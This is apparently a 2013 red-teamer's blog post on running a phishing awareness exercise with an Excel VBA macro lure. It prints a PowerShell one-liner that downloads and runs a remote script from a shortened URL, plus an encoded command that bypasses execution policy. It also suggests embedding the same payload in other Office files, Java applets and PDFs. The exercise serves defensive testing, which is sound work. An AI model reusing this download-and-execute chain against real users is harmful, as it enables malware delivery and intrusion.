Wednesday, February 27, 2013

DIY Phishing Exercises with PowerShell

One task that I have grown to hate is sending phishing emails. As a Red-teamer, I realize they almost always work and in most cases its the most likely (but not only) attack vector.  If the attempt is caught, you could face much tougher scrutiny attempting future attacks. As such, its something that I normally do after exhausting other methods or by prepping with extensive recon and social-engineering (physical and telephonic). However, I feel like organizations should be regularly testing themselves or using a service and not waiting for a pentester to tell them that their user's will click on almost anything.

Not long after releasing the PowerShell bot script, a friend asked how he could use the Send-Phishing script to test his organization. His company has a limited budget but they have a motivated and security-conscience IT staff. During the conversation, we came up with a few ideas on how to script out a phishing exercise complete with consequences. The goal is not to test whether malicious payloads can get in (they can), but the user's, admin's and security guy's reaction times. He wanted the test to be repeatable, low-cost and focus on learning at the expense of realism.
Send-Phishing PowerShell Script

The responsibility for running the tests will rotate between two people who will be responsible for developing the ruse (sometimes the hardest part). The first exercise used the example that I provided during my recent talks and it is a good start. The payload is an easy VBA macro embedded in an Excel spreadsheet. The macro hides the desired content behind a fake warning which instructs the user to enable macros if the macros aren't already enabled. This method has been around for a very long time, but the first time I saw it was in a phishing email to me from a pentester five or so years ago.

This "attack" could easily be prevented if users aren't allowed to enable macros but I find it rare that accounting/HR aren't allowed to. If only signed macros are allowed, then sign yours. A code-signing certificate is not expensive for an attacker. Since this is only an exercise, you can self-sign it. Make your payload work for the sake of the exercise.

Macro that Hides Content and Executes Remote PowerShell Script
The Content the User is Expecting
Fake Message User Receives if Macros Aren't Enabled

Next, we borrowed some of the features of the TwitterBot to create opportunities for each level to detect and respond to the phishing attempt. Each phase is implemented in a PowerShell script that is downloaded and executed by the macro:

  • Phase 0:  The user receives the email and attachment.
  • Phase 1:  User receives a popup message notifying them of the compromise.
  • Phase 2:  Antivirus is flagged which should notify the AV admin of suspicious activity.
  • Phase 3:  A known malicious C2 domain name is resolved by the "compromised" host.
  • Phases 4 - 9: Hacker activities are notionally conducted and story is written to the log.
Phase 1 Warning Message with Encoded Location of Log File
Phase 2 Antivirus Warning Message
I would like to stress that the overall story and activities are only generally realistic, there is no way to accurately predict how long each step would or could take. For a free exercise (there is opportunity cost, but no high-dollar consultant expenses), I think it works. Obviously, the story and timeline can be tailored to fit your organization's expected (or already discovered) threat actors. 


Careful consideration should be given to the fact that some learned concepts could have adverse affects on your organization's security. For example, the odds that a targeted attacker would pop a message to your user or flag AV are very slim. These steps should only be used to generate some initial awareness and should be removed from future tests. Furthermore, you analysts should learn to identify unknown C2 domains instead of relying solely on signatures. However, this is just a beginner exercise so treat it as such.

The function below was hosted on Github with a call to "Get-PhishingExercise" added to it:

Get-PhishingExercise     

The function has a few concepts that I now use regularly. I love to the Get-Random commandlet because it adds a bit of unpredictable behavior. For example, there are several options where the function can store the log and the name of the log file itself is random. [Note: The first time that this was actually used, one of the user's actually deleted the log after reading it (which itself is a problem) but I chose to encode it in the message to prevent that from easily happening again.]

Make sure you and your organization are comfortable with what the script is doing. If you don't have active rules to detect and prevent the resolution of known malicious hostnames, don't use the phase 3 portion. The use of those hostnames was prompted by the recently released Mandiant report which has resulted in many updates to network security products and their signatures. Those 5 domains should all flag your IDS. If you haven't read the report and its appendices in its entirety, you should!

Next, the URL to the hosted script was shortened with a shortener. Now we have the one-liner that will download and execute our script:

IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/e0Mw9w')
IEX is an alias for the Invoke-Expression cmdlet and will execute what the .Net WebClient downloads. Pretty simple isn't it? This example usage was borrowed from Lee Holmes.

Since this will only work in the PowerShell console, we need a way to call PowerShell.exe and pass it this script while bypassing the PowerShell ExecutionPolicy. Lee posted this easy shortcut to base64 a script block on twitter:
(cmd /c echo {ScriptBlock}).split(' ')[1]
Now we have our encoded script, lets build a command that can be run from cmd.exe:
PowerShell -Exec Bypass -NoL -Enc $EncodedScript
Drop that command in the macro and just update the script on Github to make any future changes! Now we can pick our targets and send the email with our attachment.

Once the attack is detected, the analyst or admin should be able to quarantine the box and retrieve the "marker" which is the script's output. The group as a whole would then be able to get together and discuss what went well and how to get better. Since users will eventually become wary of spreadsheets, you can embed this is other Office products like Word documents or PowerPoint presentations. Also, this same concept can be used to embed the payload into Java applets and PDFs with other tools like the awesome SET. Just utilize the same command that was added to the macro with the windows/exec or similar payload.

I hope other organizations see how easy it is to test their users and admins for awareness and responsiveness. If you have thoughts or questions, please let me know.

-Chris



1 comment: